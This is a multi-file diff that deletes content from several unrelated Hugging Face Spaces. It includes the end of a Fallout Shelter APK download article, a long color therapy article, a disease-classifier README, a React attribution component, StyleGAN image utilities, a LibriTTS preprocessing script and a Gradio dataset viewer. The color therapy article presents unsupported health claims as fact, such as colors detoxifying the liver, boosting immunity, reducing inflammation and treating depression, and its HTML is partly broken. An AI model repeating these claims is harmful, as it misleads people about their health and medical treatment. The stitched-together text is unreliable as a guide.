-<li>You can also send your dwellers on quests, which are special missions that require a team of dwellers with specific requirements. Quests can be found in the overseer's office or in the radio room. Quests can offer more rewards and challenges than regular exploration.</li>
-</ul>
-<h2>Conclusion</h2>
-<h3>A summary of the main points and a call to action</h3>
-<p>Fallout Shelter is a game that lets you create and manage your own vault in a post-apocalyptic world. It is a game that is simple to play but rich in content and variety. It is a game that is immersive and engaging. It is a game that you should download and play on your Android device today.</p>
-<p>To download Fallout Shelter APK, you just need to find a reliable source that offers the APK file, download it to your device, and install it following some simple steps. Then you can start building your vault, managing your dwellers, and exploring the wasteland.</p>
-<p>So what are you waiting for? Download Fallout Shelter APK now and enjoy one of the best mobile games of all time.</p>
-<h2>FAQs</h2>
-<h4>Q1: Is Fallout Shelter free to play?</h4>
-<p>A1: Yes, Fallout Shelter is free to play. You can download and play it without spending any money. However, the game also offers some optional in-app purchases that can enhance your gameplay experience. You can buy lunchboxes that contain random items, Nuka-Cola Quantum that speeds up your actions, or bundles that offer special deals.</p>
-<h4>Q2: Is Fallout Shelter compatible with my device?</h4>
-<p>A2: Fallout Shelter requires Android 4.1 or higher to run. It also requires at least 200 MB of free storage space on your device. You can check your device's specifications and compatibility before downloading the game.</p>
-<h4>Q3: How can I update Fallout Shelter?</h4>
-<p>A3: If you downloaded Fallout Shelter from Google Play Store, you can update it automatically or manually through the store app. If you downloaded Fallout Shelter APK from a third-party source, you need to download and install the latest version of the APK file from the same source.</p>
-<h4>Q4: How can I backup my game data?</h4>
-<p>A4: Fallout Shelter allows you to backup your game data to the cloud using Google Play Games or Facebook. You can enable this option in the game settings menu. This way, you can restore your game data if you lose or change your device.</p>
-<h4>Q5: How can I contact the developers of Fallout Shelter?</h4>
-<p>A5: If you have any questions, feedback, or issues regarding Fallout Shelter, you can contact the developers by emailing them at [email protected] or by visiting their official website at https://bethesda.net/en/game/fallout-shelter.</p> 401be4b1e0<br />
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spaces/1phancelerku/anime-remove-background/Daily Color A Paint by Number Game with Stunning and Diverse Images.md

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-<h1>Color Therapy: How to Use Colors to Improve Your Mood and Health</h1>
-<p>Have you ever noticed how colors can affect your feelings and emotions? Do you feel more relaxed in a green room or more energetic in a red one? Do you prefer warm or cool colors for your clothing or home decor? If so, you are not alone. Colors have a powerful impact on our mood, behavior, and well-being. That's why some people use color therapy as a way to enhance their physical and mental health.</p>
-<p>Color therapy, also known as chromotherapy, is a form of alternative medicine that uses color and light to treat various conditions. It is based on the idea that different colors have different effects on our mood, energy, and well-being. By exposing ourselves to certain colors or wearing them, we can influence our emotional responses, stimulate our senses, and balance our body's energy.</p>
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-<p>In this article, we will explore the history, types, meanings, combinations, and trends of color therapy. We will also answer some common questions about this fascinating topic. By the end of this article, you will have a better understanding of how colors can improve your mood and health.</p>
- <h2>History of Color Therapy</h2>
-<p>Color therapy has a long and rich history that dates back to ancient civilizations. The Egyptians, Greeks, Chinese, and Indians all used colors for healing purposes. They believed that colors were manifestations of light and divine energy. They used colored stones, crystals, fabrics, candles, and sunlight to treat different ailments and enhance their spiritual practices.</p>
-<p>In the 17th century, Sir Isaac Newton discovered that white light could be split into different colors by passing it through a prism. He also found that each color had a specific wavelength and frequency. This led to the development of the color wheel, which shows the relationship between primary, secondary, and tertiary colors.</p>
-<p>In the 19th century, several scientists and doctors experimented with the effects of colors on human physiology and psychology. They found that colors could influence blood pressure, heart rate, respiration, metabolism, and nervous system activity. They also observed that colors could evoke different emotions and moods in people.</p>
-<p>In the 20th century, color therapy became more popular as a complementary or alternative medicine practice. Many practitioners combined it with other modalities such as aromatherapy, acupuncture, massage, or Reiki. They also used modern technology such as colored lamps, lasers, or screens to apply colors to specific areas of the body.</p>
-<p>Today, color therapy is still widely used by many people who seek natural ways to improve their health and happiness. It is also recognized by some medical professionals as a supportive treatment for certain conditions such as depression, anxiety, insomnia, chronic pain, or stress.</p>
- <h2>Types of Color Therapy</h2>
-<p>There are two main types of color therapy: sight-based and light-based. Sight-based color therapy involves looking at certain colors or wearing them. Light-based color therapy involves exposing certain parts of the body to colored lights or rays.</p>
- <h3>Sight-based Color Therapy</h3>
-<p>Sight-based color therapy is based on the idea that our eyes can perceive different colors and send signals to our brain that affect our mood and behavior. By looking at certain colors or wearing them, we can influence our emotional responses and stimulate our senses.</p>
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-<p>Some examples of sight-based color therapy are:</p>
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-<li>Using colored glasses or lenses to filter out unwanted colors or enhance desired ones.</li>
-<li>Painting your walls or furniture with colors that suit your personality or mood.</li <li>Choosing your clothes or accessories based on the colors that make you feel good or express your mood.</li>
-<li>Creating or viewing artworks that use colors to convey emotions or messages.</li>
-<li>Meditating or visualizing with colors that help you relax or energize.</li>
-</ul>
-<p>Sight-based color therapy can be done anywhere and anytime, as long as you have access to colors. You can experiment with different colors and see how they affect you. You can also consult a color therapist who can guide you on how to use colors for your specific needs and goals.</p>
- <h3>Light-based Color Therapy</h3>
-<p>Light-based color therapy is based on the idea that our skin can absorb different colors and send signals to our body that affect our health and well-being. By exposing certain parts of the body to colored lights or rays, we can influence our physiological processes and balance our energy.</p>
-<p>Some examples of light-based color therapy are:</p>
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-<li>Using colored lamps, bulbs, or candles to create a certain ambiance or mood in your room.</li>
-<li>Using colored lasers, LEDs, or screens to apply colors to specific areas of the body, such as the eyes, ears, nose, mouth, or hands.</li>
-<li>Using colored filters, gels, or slides to project colors onto the body or the environment.</li>
-<li>Using solarized water, which is water that has been exposed to sunlight through colored glass bottles, to drink or bathe in.</li>
-<li>Using gemstones, crystals, or minerals that have been charged with color energy to wear or place on the body.</li>
-</ul>
-<p>Light-based color therapy can be done at home or in a professional setting, such as a spa, clinic, or salon. You can use different devices or tools that emit colored lights or rays. You can also consult a color therapist who can advise you on how to use colors for your specific conditions and symptoms.</p>
- <h2>Color Meanings</h2>
-<p>Colors have different meanings and effects on our mood and health. They can be classified into three categories: warm, cool, and neutral. Warm colors are red, orange, and yellow. They are associated with energy, passion, and excitement. Cool colors are blue, green, and purple. They are associated with calmness, harmony, and creativity. Neutral colors are black, white, gray, and brown. They are associated with balance, stability, and sophistication.</p>
-<p>Here are some of the psychological and physiological effects of different colors:</p>
- <table>
-<tr><th>Color</th><th>Psychological Effects</th><th>Physiological Effects</th></tr>
-<tr><td>Red</td><td>Inspires confidence, courage, and action. Stimulates appetite and sexual desire. Can also evoke anger, aggression, or danger.</td><td>Increases blood pressure, heart rate, respiration, and metabolism. Enhances physical performance and alertness.</td></tr>
-<tr><td>Orange</td><td>Promotes joy, enthusiasm, and optimism. Encourages social interaction and communication. Can also cause irritation or anxiety.</td><td>Boosts immune system and digestion. Relieves pain and inflammation. Stimulates creativity and memory.</td></tr>
-<tr><td>Yellow</td><td>Cultivates happiness, positivity, and wisdom. Improves concentration and learning abilities. Can also trigger fear or nervousness.</td><td>Balances hormones and nervous system. Detoxifies the body and stimulates the liver. Brightens the mood and lifts the spirits.</td></tr>
-<tr><td>Green</td><td>Fosters peace, harmony, and growth. Enhances relaxation and healing abilities. Can also induce boredom or envy.</td><td>Lowers blood pressure, heart rate, respiration, and stress levels. Strengthens the immune system and promotes tissue regeneration. Calms the mind and body.</td></tr>
-<tr><td>Blue</td><td>Induces calmness, tranquility, and trust. Supports communication and expression abilities. Can also cause sadness or depression.</td><td>Decreases blood pressure, heart rate, respiration, and metabolism. Reduces pain and inflammation. Relaxes the muscles and nerves.</td></tr>
-<tr><td>Purple</td><td>Arouses spirituality, intuition , and creativity. Stimulates imagination and inspiration abilities. Can also cause confusion or arrogance.</td><td>Regulates hormones and endocrine system. Enhances mental and emotional balance. Stimulates the pineal gland and the third eye.</td></tr>
-<tr><td>Pink</td><td>Represents love, compassion, and kindness. Nurtures emotional and relational abilities. Can also cause immaturity or weakness.</td><td>Calms the heart and emotions. Soothes the skin and reduces swelling. Softens the mood and the atmosphere.</td></tr>
-<tr><td>Brown</td><td>Symbolizes stability, security, and reliability. Supports practical and logical abilities. Can also cause dullness or boredom.</td><td>Grounds the body and the energy. Supports the skeletal and muscular systems. Provides a sense of comfort and warmth.</td></tr>
-<tr><td>Black</td><td>Denotes power, elegance, and mystery. Enhances sophistication and authority abilities. Can also cause negativity or depression.</td><td>Absorbs all colors and energy. Protects the body and the aura. Creates a sense of depth and contrast.</td></tr>
-<tr><td>White</td><td>Signifies purity, clarity, and simplicity. Enhances awareness and perception abilities. Can also cause sterility or isolation.</td><td>Reflects all colors and energy. Purifies the body and the aura. Creates a sense of space and lightness.</td></tr>
-<tr><td>Gray</td><td>Represents neutrality, balance, and detachment. Supports rational and analytical abilities. Can also cause indifference or apathy.</td><td>Harmonizes all colors and energy. Moderates the body and the aura. Creates a sense of calmness and composure.</td></tr>
-</table>
- <h2>Color Combinations</h2>
-<p>Besides using individual colors, you can also use color combinations to create different effects on your mood and health. You can use the color wheel and color harmony rules to create effective color schemes for different purposes.</p>
-<p>The color wheel is a circular diagram that shows the relationship between primary, secondary, and tertiary colors. Primary colors are red, yellow, and blue. They are the basic colors that cannot be created by mixing other colors. Secondary colors are orange, green, and purple. They are created by mixing two primary colors. Tertiary colors are red-orange, yellow-orange, yellow-green, blue-green, blue-purple, and red-purple. They are created by mixing a primary color with a secondary color.</p>
-<p>Color harmony is the principle of combining colors in a way that is pleasing to the eye and creates a sense of order and balance. There are different types of color harmony rules, such as:</p>
-<ul>
-<li>Complementary: Using two colors that are opposite each other on the color wheel, such as red and green or blue and orange. This creates a high contrast and a vibrant effect.</li>
-<li>Analogous: Using three colors that are next to each other on the color wheel, such as yellow-green, green, and blue-green or red-purple, purple, and blue-purple. This creates a low contrast and a harmonious effect.</li>
-<li>Triadic: Using three colors that are evenly spaced on the color wheel, such as red, yellow, and blue or orange, green, and purple. This creates a balanced and dynamic effect.</li>
-<li>Tetradic: Using four colors that form two pairs of complementary colors on the color wheel, such as red-orange, blue-green, yellow-orange, and blue-purple or red-purple, yellow-green, blue-purple, and yellow-orange. This creates a complex and diverse effect.</li>
-</ul>
-<p>You can use these color harmony rules to create color schemes for different purposes, such as:</p>
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-<li>Relaxation: Using cool or neutral colors that create a soothing and calming effect, such as blue, green, gray, or white.</li>
-<li>Stimulation: Using warm or bright colors that create an energizing and exciting effect, such as red, orange, yellow, or pink.</li>
-<li>Balance: Using complementary or triadic colors that create a balanced and dynamic effect, such as red and green or orange, green, and purple.</li>
-<li>Creativity: Using analogous or tetradic colors that create a harmonious and complex effect, such as yellow-green, green, and blue-green or red-orange, blue-green, yellow-orange, and blue-purple.</li>
-</ul>
-<p>You can also experiment with different shades, tints, tones, and saturation levels of colors to create different effects. Shades are created by adding black to a color, making it darker. Tints are created by adding white to a color, making it lighter. Tones are created by adding gray to a color, making it duller. Saturation is the intensity or purity of a color, ranging from low to high.</p>
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-<p>Color trends are the changes and developments in the use and preference of colors over time. They are influenced by various factors, such as culture, society, technology, fashion, art, and psychology. Color trends can reflect the mood and attitude of the people and the times.</p>
-<p>Some of the current and emerging trends in color therapy are:</p>
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-<li>Acidic hues: These are bright and vivid colors that have a high saturation and contrast level. They are inspired by neon lights, digital art, and pop culture. They create a fun and playful effect. Some examples are lime green, hot pink, electric blue, and fluorescent yellow.</li>
-<li>Silver chrome: This is a metallic and shiny color that has a futuristic and sleek look. It is inspired by technology, science fiction, and innovation. It creates a cool and sophisticated effect. Some examples are silver, platinum, steel, and mercury.</li>
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-<p>These color trends can be used to create different moods and atmospheres in your space or your clothing. You can also mix and match them with other colors to create your own unique style.</p>
- <h2>Conclusion</h2>
-<p>Color therapy is a form of alternative medicine that uses color and light to improve your mood and health. It has a long history that dates back to ancient civilizations. It has two main types: sight-based and light-based. It has different meanings and effects on our mood and health. They can be classified into three categories: warm, cool, and neutral. They can also be combined using the color wheel and color harmony rules to create different color schemes. They also have different trends that reflect the mood and attitude of the people and the times.</p>
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-<p>So, what are you waiting for? Start using colors to improve your mood and health today. You will be amazed by the results.</p>
- <h2>FAQs</h2>
-<p>Here are some frequently asked questions about color therapy and their answers:</p>
-<ol>
-<li>What are the benefits of color therapy?</li>
-<p>Color therapy can have various benefits for your mood and health, such as:</p>
-<ul>
-<li>Improving your emotional well-being and reducing stress, anxiety, or depression.</li>
-<li>Enhancing your physical performance and reducing pain, inflammation, or fatigue.</li>
-<li>Boosting your cognitive abilities and improving your concentration, memory, or creativity.</li>
-<li>Balancing your energy and harmonizing your chakras.</li>
-<li>Expressing your personality and style.</li>
-</ul>
- <li>How do I know which colors to use for color therapy?</li>
-<p>You can use different methods to choose colors for color therapy, such as:</p>
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-<li>Using your intuition and personal preference.</li>
-<li>Using the meanings and effects of different colors as a guide.</li>
-<li>Using the color wheel and color harmony rules to create color schemes.</li>
-<li>Using the color trends to follow the current or emerging styles.</li>
-<li>Consulting a color therapist who can advise you on the best colors for your needs and goals.</li>
-</ul>
- <li>How do I apply color therapy?</li>
-<p>You can apply color therapy in different ways, such as:</p>
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-<li>Looking at certain colors or wearing them.</li>
-<li>Exposing certain parts of the body to colored lights or rays.</li <li>Using colored objects or tools, such as glasses, candles, crystals, or water.</li>
-<li>Using colored artworks or images, such as paintings, photos, or videos.</li>
-<li>Meditating or visualizing with colors.</li>
-</ul>
- <li>Are there any risks or side effects of color therapy?</li>
-<p>Color therapy is generally safe and harmless, as long as you use it properly and moderately. However, some people may experience some risks or side effects, such as:</p>
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-<li>Eye strain or headache from looking at bright or flashing colors.</li>
-<li>Skin irritation or allergy from wearing or touching certain colors.</li>
-<li>Emotional imbalance or mood swings from using too much or too little of certain colors.</li>
-<li>Interference with other treatments or medications from using colors that are incompatible or contraindicated.</li>
-</ul>
-<p>If you have any medical conditions or concerns, you should consult your doctor before using color therapy. You should also avoid using colors that make you feel uncomfortable or unwell.</p>
- <li>Where can I learn more about color therapy?</li>
-<p>If you want to learn more about color therapy, you can:</p>
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-<li>Read books, articles, blogs, or magazines about color therapy.</li>
-<li>Watch videos, podcasts, webinars, or documentaries about color therapy.</li>
-<li>Take courses, workshops, seminars, or classes about color therapy.</li>
-<li>Join online forums, groups, communities, or networks about color therapy.</li>
-<li>Visit websites, apps, platforms, or tools that offer color therapy services or products.</li>
-</ul>
- <h2></h2>
-<p>This is the end of the article. I hope you enjoyed reading it and learned something new about color therapy. Thank you for your attention and interest. Have a colorful day!</p> 401be4b1e0<br />
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spaces/30Kanika/disease-classifier/README.md

@@ -1,31 +0,0 @@
----
-title: Disease Classifier
-emoji: 🧑🏼‍⚕️😷
-colorFrom: gray
-colorTo: green
-sdk: streamlit
-sdk_version: 1.17.0
-app_file: app.py
-pinned: false
-license: apache-2.0
----
-
-
-## Disease_classifier_based_on_symptoms:
-- #### Disease classification is a ML approach to predict or diagnose the disease using the symptoms.
-- #### I have used Random Forest Classifier in this project and the UI is created using Streamlit.
-
-## Links:
-- #### [Hugging face 🤗](https://huggingface.co/spaces/30Kanika/disease-classifier) 
-- #### [Kaggle dataset 📘](https://www.kaggle.com/datasets/karthikudyawar/disease-symptom-prediction)
-
-## Steps to use Hugging face:
-#### STEP 1 -After you open the hugging face link ,it will ask you to enter the symptoms you are facing.
-![step 1](https://user-images.githubusercontent.com/123890504/222238001-ab473183-6056-4d2f-a87a-f9c490ba9fdb.png)
-
-#### STEP 2 -Enter the symptoms.
-![step 2](https://user-images.githubusercontent.com/123890504/222238171-68a97333-dcb5-43f1-bc70-8ea57522858d.png)
-
-#### STEP 3 -Click "Detect" button, and it will show the disease name, description of that disease, and what are the precautions for that.
-![step3](https://user-images.githubusercontent.com/123890504/222238453-6156d98e-5e6f-46ac-9f12-3ddce025bd82.png)
-

spaces/7hao/bingo/src/components/learn-more.tsx

@@ -1,39 +0,0 @@
-import React from 'react'
-import { SourceAttribution } from '@/lib/bots/bing/types'
-
-export interface LearnMoreProps {
-  sourceAttributions?: SourceAttribution[]
-}
-
-export function LearnMore({ sourceAttributions }: LearnMoreProps) {
-  if (!sourceAttributions?.length) {
-    return null
-  }
-
-  return (
-    <div className="learn-more-root" role="list" aria-label="了解详细信息:">
-      <div className="learn-more">了解详细信息:</div>
-      <div className="attribution-container">
-        <div className="attribution-items">
-          {sourceAttributions.map((attribution, index) => {
-            const { providerDisplayName, seeMoreUrl } = attribution
-            const { host } = new URL(seeMoreUrl)
-            return (
-              <a
-                key={index}
-                className="attribution-item"
-                target="_blank"
-                role="listitem"
-                href={seeMoreUrl}
-                title={providerDisplayName}
-                tabIndex={index}
-              >
-                {index + 1}. {host}
-              </a>
-            )
-          })}
-        </div>
-      </div>
-    </div>
-  )
-}

spaces/AIFILMS/StyleGANEX/utils/inference_utils.py

@@ -1,182 +0,0 @@
-import numpy as np
-import matplotlib.pyplot as plt
-from PIL import Image
-import cv2
-import random
-import math
-import argparse
-import torch
-from torch.utils import data
-from torch.nn import functional as F
-from torch import autograd
-from torch.nn import init
-import torchvision.transforms as transforms
-from scripts.align_all_parallel import get_landmark
-    
-def visualize(img_arr, dpi):
-    plt.figure(figsize=(10,10),dpi=dpi)
-    plt.imshow(((img_arr.detach().cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8))
-    plt.axis('off')
-    plt.show()
-
-def save_image(img, filename):
-    tmp = ((img.detach().cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8)
-    cv2.imwrite(filename, cv2.cvtColor(tmp, cv2.COLOR_RGB2BGR))
-    
-def load_image(filename):
-    transform = transforms.Compose([
-    transforms.ToTensor(),
-    transforms.Normalize(mean=[0.5, 0.5, 0.5],std=[0.5,0.5,0.5]),
-    ])
-    
-    img = Image.open(filename)
-    img = transform(img)
-    return img.unsqueeze(dim=0)   
-
-def get_video_crop_parameter(filepath, predictor, padding=[256,256,256,256]):
-    if type(filepath) == str:
-        img = dlib.load_rgb_image(filepath)
-    else:
-        img = filepath
-    lm = get_landmark(img, predictor)
-    if lm is None:
-        return None
-    lm_chin          = lm[0  : 17]  # left-right
-    lm_eyebrow_left  = lm[17 : 22]  # left-right
-    lm_eyebrow_right = lm[22 : 27]  # left-right
-    lm_nose          = lm[27 : 31]  # top-down
-    lm_nostrils      = lm[31 : 36]  # top-down
-    lm_eye_left      = lm[36 : 42]  # left-clockwise
-    lm_eye_right     = lm[42 : 48]  # left-clockwise
-    lm_mouth_outer   = lm[48 : 60]  # left-clockwise
-    lm_mouth_inner   = lm[60 : 68]  # left-clockwise
-    
-    scale = 64. / (np.mean(lm_eye_right[:,0])-np.mean(lm_eye_left[:,0]))
-    center = ((np.mean(lm_eye_right, axis=0)+np.mean(lm_eye_left, axis=0)) / 2) * scale
-    h, w = round(img.shape[0] * scale), round(img.shape[1] * scale)
-    left = max(round(center[0] - padding[0]), 0) // 8 * 8
-    right = min(round(center[0] + padding[1]), w) // 8 * 8
-    top = max(round(center[1] - padding[2]), 0) // 8 * 8
-    bottom = min(round(center[1] + padding[3]), h) // 8 * 8
-    return h,w,top,bottom,left,right,scale
-
-def tensor2cv2(img):
-    tmp = ((img.cpu().numpy().transpose(1, 2, 0) + 1.0) * 127.5).astype(np.uint8)
-    return cv2.cvtColor(tmp, cv2.COLOR_RGB2BGR)
-
-def noise_regularize(noises):
-    loss = 0
-
-    for noise in noises:
-        size = noise.shape[2]
-
-        while True:
-            loss = (
-                loss
-                + (noise * torch.roll(noise, shifts=1, dims=3)).mean().pow(2)
-                + (noise * torch.roll(noise, shifts=1, dims=2)).mean().pow(2)
-            )
-
-            if size <= 8:
-                break
-
-            #noise = noise.reshape([-1, 1, size // 2, 2, size // 2, 2])
-            #noise = noise.mean([3, 5])
-            noise = F.interpolate(noise, scale_factor=0.5, mode='bilinear')
-            size //= 2
-
-    return loss
-
-
-def noise_normalize_(noises):
-    for noise in noises:
-        mean = noise.mean()
-        std = noise.std()
-
-        noise.data.add_(-mean).div_(std)
-
-
-def get_lr(t, initial_lr, rampdown=0.25, rampup=0.05):
-    lr_ramp = min(1, (1 - t) / rampdown)
-    lr_ramp = 0.5 - 0.5 * math.cos(lr_ramp * math.pi)
-    lr_ramp = lr_ramp * min(1, t / rampup)
-
-    return initial_lr * lr_ramp
-
-
-def latent_noise(latent, strength):
-    noise = torch.randn_like(latent) * strength
-
-    return latent + noise
-
-
-def make_image(tensor):
-    return (
-        tensor.detach()
-        .clamp_(min=-1, max=1)
-        .add(1)
-        .div_(2)
-        .mul(255)
-        .type(torch.uint8)
-        .permute(0, 2, 3, 1)
-        .to("cpu")
-        .numpy()
-    )
-
-
-# from pix2pixeHD
-# Converts a one-hot tensor into a colorful label map
-def tensor2label(label_tensor, n_label, imtype=np.uint8):
-    if n_label == 0:
-        return tensor2im(label_tensor, imtype)
-    label_tensor = label_tensor.cpu().float()    
-    if label_tensor.size()[0] > 1:
-        label_tensor = label_tensor.max(0, keepdim=True)[1]
-    label_tensor = Colorize(n_label)(label_tensor)
-    label_numpy = np.transpose(label_tensor.numpy(), (1, 2, 0))
-    return label_numpy.astype(imtype)
-
-def uint82bin(n, count=8):
-    """returns the binary of integer n, count refers to amount of bits"""
-    return ''.join([str((n >> y) & 1) for y in range(count-1, -1, -1)])
-
-def labelcolormap(N):
-    if N == 35: # cityscape
-        cmap = np.array([(  0,  0,  0), (  0,  0,  0), (  0,  0,  0), (  0,  0,  0), (  0,  0,  0), (111, 74,  0), ( 81,  0, 81),
-                     (128, 64,128), (244, 35,232), (250,170,160), (230,150,140), ( 70, 70, 70), (102,102,156), (190,153,153),
-                     (180,165,180), (150,100,100), (150,120, 90), (153,153,153), (153,153,153), (250,170, 30), (220,220,  0),
-                     (107,142, 35), (152,251,152), ( 70,130,180), (220, 20, 60), (255,  0,  0), (  0,  0,142), (  0,  0, 70),
-                     (  0, 60,100), (  0,  0, 90), (  0,  0,110), (  0, 80,100), (  0,  0,230), (119, 11, 32), (  0,  0,142)], 
-                     dtype=np.uint8)
-    else:
-        cmap = np.zeros((N, 3), dtype=np.uint8)
-        for i in range(N):
-            r, g, b = 0, 0, 0
-            id = i
-            for j in range(7):
-                str_id = uint82bin(id)
-                r = r ^ (np.uint8(str_id[-1]) << (7-j))
-                g = g ^ (np.uint8(str_id[-2]) << (7-j))
-                b = b ^ (np.uint8(str_id[-3]) << (7-j))
-                id = id >> 3
-            cmap[i, 0] = r
-            cmap[i, 1] = g
-            cmap[i, 2] = b
-    return cmap
-
-class Colorize(object):
-    def __init__(self, n=35):
-        self.cmap = labelcolormap(n)
-        self.cmap = torch.from_numpy(self.cmap[:n])
-
-    def __call__(self, gray_image):
-        size = gray_image.size()
-        color_image = torch.ByteTensor(3, size[1], size[2]).fill_(0)
-
-        for label in range(0, len(self.cmap)):
-            mask = (label == gray_image[0]).cpu()
-            color_image[0][mask] = self.cmap[label][0]
-            color_image[1][mask] = self.cmap[label][1]
-            color_image[2][mask] = self.cmap[label][2]
-
-        return color_image

spaces/AIGC-Audio/AudioGPT/text_to_speech/egs/datasets/audio/libritts/preprocess.py

@@ -1,13 +0,0 @@
-from data_gen.tts.base_preprocess import BasePreprocessor
-import glob, os
-
-class LibriTTSPreprocess(BasePreprocessor):
-    def meta_data(self):
-        wav_fns = sorted(glob.glob(f'{self.raw_data_dir}/*/*/*/*.wav'))
-        for wav_fn in wav_fns:
-            item_name = os.path.basename(wav_fn)[:-4]
-            txt_fn = f'{wav_fn[:-4]}.normalized.txt'
-            with open(txt_fn, 'r') as f:
-                txt = f.read()
-            spk_name = item_name.split("_")[0]
-            yield {'item_name': item_name, 'wav_fn': wav_fn, 'txt': txt, 'spk_name': spk_name}

spaces/AIZerotoHero-Health4All/03-Datasets/app.py

@@ -1,99 +0,0 @@
-from typing import List, Dict
-import httpx
-import gradio as gr
-import pandas as pd
-
-async def get_splits(dataset_name: str) -> Dict[str, List[Dict]]:
-    URL = f"https://datasets-server.huggingface.co/splits?dataset={dataset_name}"
-    async with httpx.AsyncClient() as session:
-        response = await session.get(URL)
-        return response.json()
-
-async def get_valid_datasets() -> Dict[str, List[str]]:
-    URL = f"https://datasets-server.huggingface.co/valid"
-    async with httpx.AsyncClient() as session:
-        response = await session.get(URL)
-        datasets = response.json()["valid"]
-        return gr.Dropdown.update(choices=datasets, value="awacke1/ChatbotMemory.csv")
-        # The one to watch: https://huggingface.co/rungalileo
-        # rungalileo/medical_transcription_40
-
-async def get_first_rows(dataset: str, config: str, split: str) -> Dict[str, Dict[str, List[Dict]]]:
-    URL = f"https://datasets-server.huggingface.co/first-rows?dataset={dataset}&config={config}&split={split}"
-    async with httpx.AsyncClient() as session:
-        response = await session.get(URL)
-        print(URL)
-        gr.Markdown(URL)
-        return response.json()
-
-def get_df_from_rows(api_output):
-    dfFromSort = pd.DataFrame([row["row"] for row in api_output["rows"]])
-    try:
-        dfFromSort.sort_values(by=1, axis=1, ascending=True, inplace=False, kind='mergesort', na_position='last', ignore_index=False, key=None)
-    except:
-        print("Exception sorting due to keyerror?")
-    return dfFromSort
-
-async def update_configs(dataset_name: str):
-    splits = await get_splits(dataset_name)
-    all_configs = sorted(set([s["config"] for s in splits["splits"]]))
-    return (gr.Dropdown.update(choices=all_configs, value=all_configs[0]),
-            splits)
-
-async def update_splits(config_name: str, state: gr.State):
-    splits_for_config = sorted(set([s["split"] for s in state["splits"] if s["config"] == config_name]))
-    dataset_name = state["splits"][0]["dataset"]
-    dataset = await update_dataset(splits_for_config[0], config_name, dataset_name)
-    return (gr.Dropdown.update(choices=splits_for_config, value=splits_for_config[0]), dataset)
-
-async def update_dataset(split_name: str, config_name: str, dataset_name: str):
-    rows = await get_first_rows(dataset_name, config_name, split_name)
-    df = get_df_from_rows(rows)
-    return df
-
-# Guido von Roissum: https://www.youtube.com/watch?v=-DVyjdw4t9I
-async def update_URL(dataset: str, config: str, split: str) -> str:
-    URL = f"https://datasets-server.huggingface.co/first-rows?dataset={dataset}&config={config}&split={split}"
-    URL = f"https://huggingface.co/datasets/{split}"
-    return (URL)
-   
-async def openurl(URL: str) -> str:
-    html = f"<a href={URL} target=_blank>{URL}</a>"
-    return (html)
-
-with gr.Blocks() as demo:
-    gr.Markdown("<h1><center>🥫Datasets🎨</center></h1>")
-    gr.Markdown("""<div align="center">Curated Datasets: <a href = "https://www.kaggle.com/datasets">Kaggle</a>. <a href="https://www.nlm.nih.gov/research/umls/index.html">NLM UMLS</a>.  <a href="https://loinc.org/downloads/">LOINC</a>. <a href="https://www.cms.gov/medicare/icd-10/2022-icd-10-cm">ICD10 Diagnosis</a>. <a href="https://icd.who.int/dev11/downloads">ICD11</a>.  <a href="https://paperswithcode.com/datasets?q=medical&v=lst&o=newest">Papers,Code,Datasets for SOTA in Medicine</a>.   <a href="https://paperswithcode.com/datasets?q=mental&v=lst&o=newest">Mental</a>.  <a href="https://paperswithcode.com/datasets?q=behavior&v=lst&o=newest">Behavior</a>. <a href="https://www.cms.gov/medicare-coverage-database/downloads/downloads.aspx">CMS Downloads</a>.  <a href="https://www.cms.gov/medicare/fraud-and-abuse/physicianselfreferral/list_of_codes">CMS CPT and HCPCS Procedures and Services</a>  """)
-
-    splits_data = gr.State()
-    
-    with gr.Row():
-        dataset_name = gr.Dropdown(label="Dataset", interactive=True)
-        config = gr.Dropdown(label="Subset", interactive=True)
-        split = gr.Dropdown(label="Split", interactive=True)
-    
-    with gr.Row():
-        #filterleft = gr.Textbox(label="First Column Filter",placeholder="Filter Column 1")
-        URLcenter = gr.Textbox(label="Dataset URL", placeholder="URL")
-        btn = gr.Button("Use Dataset")
-        #URLoutput = gr.Textbox(label="Output",placeholder="URL Output")
-        URLoutput = gr.HTML(label="Output",placeholder="URL Output")
-    
-    with gr.Row():
-        dataset = gr.DataFrame(wrap=True, interactive=True)
-    
-    demo.load(get_valid_datasets, inputs=None, outputs=[dataset_name])
-    
-    dataset_name.change(update_configs, inputs=[dataset_name], outputs=[config, splits_data])
-    config.change(update_splits, inputs=[config, splits_data], outputs=[split, dataset])
-    split.change(update_dataset, inputs=[split, config, dataset_name], outputs=[dataset])
-
-    dataset_name.change(update_URL, inputs=[split, config, dataset_name], outputs=[URLcenter])
-
-    btn.click(openurl, [URLcenter], URLoutput)
-
-demo.launch(debug=True)
-    
-# original: https://huggingface.co/spaces/freddyaboulton/dataset-viewer  -- Freddy thanks!  Your examples are the best.
-# playlist on Gradio and Mermaid:  https://www.youtube.com/watch?v=o7kCD4aWMR4&list=PLHgX2IExbFosW7hWNryq8hs2bt2aj91R-
